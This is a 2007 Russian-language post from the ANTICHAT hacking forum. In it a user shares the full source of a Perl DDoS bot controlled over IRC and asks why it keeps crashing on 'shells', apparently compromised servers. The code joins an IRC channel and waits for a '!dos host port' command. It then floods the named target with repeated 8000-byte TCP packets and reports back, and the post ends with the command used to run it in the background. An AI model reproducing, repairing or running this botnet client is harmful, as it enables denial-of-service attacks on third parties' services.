HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ОФФТОП > Болталка
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

проблема perl irc bot
  #1  
Старый 06.05.2007, 09:58
x-treem
Участник форума
Регистрация: 08.11.2006
Сообщений: 167
С нами: 10265490

Репутация: 54
По умолчанию проблема perl irc bot

вот значит писал ддос бота, управляемого через ирку.

просто набросал по быстренькому.
проверить, реально это или нет.
на моей машине он весит довольный долгое время.
но вот на шеллах, вылетает очень часто. а если некоторые остаются, то при начале ддоса, всё равно вылетают(
значит вот весь код, гляньте, может что напортачил.

Код:
#!/usr/bin/perl


$irc_server = "asd";
$irc_port = "6667";
$irc_nick = "botest".int(rand 999999999);
$irc_ident = "botest".int(rand 999999999);
$irc_user = "botest".int(rand 99999999999);
$irc_chan = "#asd";
$irc_max_answ = "70000";
$show_answer = 1;


use IO::Socket;
print " [!] Connect to $irc_server...\n";
$socket = IO::Socket::INET->new("$irc_server:$irc_port") or die " [E] Can't connect to $irc_server\n"; 
print " [+] Conneced OK.\n";
print " [!] Send NICK...\n";
$socket->send("NICK $irc_nick\n") or die " [E] NICK not sending!\n";
print " [+] Nick sending.\n";
print " [!] Send USER...\n";
$socket->send("USER $irc_ident 0 * :$irc_user\r\n") or die " [E] USER not sending!\n";
print " [+] USER sending.\n";
print " [!] Joining channel $irc_chan...\n";
$socket->send("JOIN $irc_chan\n") or die " [E] Can't joined to irc_chan!\n";
print " [+] Joined to $irc_chan.\n";



while ($socket->recv($answer, $irc_max_answ)==true){ 

if ($answer =~ /^:(\S+)!(\S+)\@(\S+)\sKICK\s(\S+)\s(\S+)\s:(\S+)/) {
if ($5 eq $nick){
$socket->send("JOIN $4\n") or die "Can't send help message\n";
}
}



if ($answer =~ /^PING\s:/){
$socket->send("PONG $irc_server\n")
or die "Can't send PONG repply\n"; 
}else{

}

if ($answer =~ /^:(\S+)!(\S+)\@(\S+)\sPRIVMSG\s(\S+)\s:[!](\S+)/) {
if ($5 eq "dos"){
$tmp_str = "\!dos ";
$blah = $answer;
($blah, $blah3) = split(/$tmp_str/, $answer);
$tmp_str= "dos\!";
($bla, $bla1) = split(/$tmp_str/, $blah3);
&dos;
}
}

#if ($show_answer eq 1){print $answer;}

}

sub dos {
$rezb = $bla;
chomp($rezb);
print $rezb."-";
($dserv, $dport) = split(/ /, $bla);


$packet = "x"x8000;
$dsocket = IO::Socket::INET->new("$dserv:$dport");
if ($dsocket){
$socket->send("PRIVMSG $irc_chan :Dosing $dserv $dport!\n");
for ($i=0; $i<999; $i++){ 
$dsocket->send("$packet");
}
close($dsocket);
$socket->send("PRIVMSG $irc_chan :Dosing $dserv $dport ending!\n")
}else{$socket->send("PRIVMSG $irc_chan :Can't Dos $dserv $dport!\n");
}
}
запускал
Код:
perl ods.pl&
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Команды Irc. И его сервисы! XDoG Статьи 12 24.06.2009 08:21
Проблема perl bandera PHP 11 10.06.2006 15:12
Books Perl FRAGNATIC PHP 0 11.08.2005 16:58



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.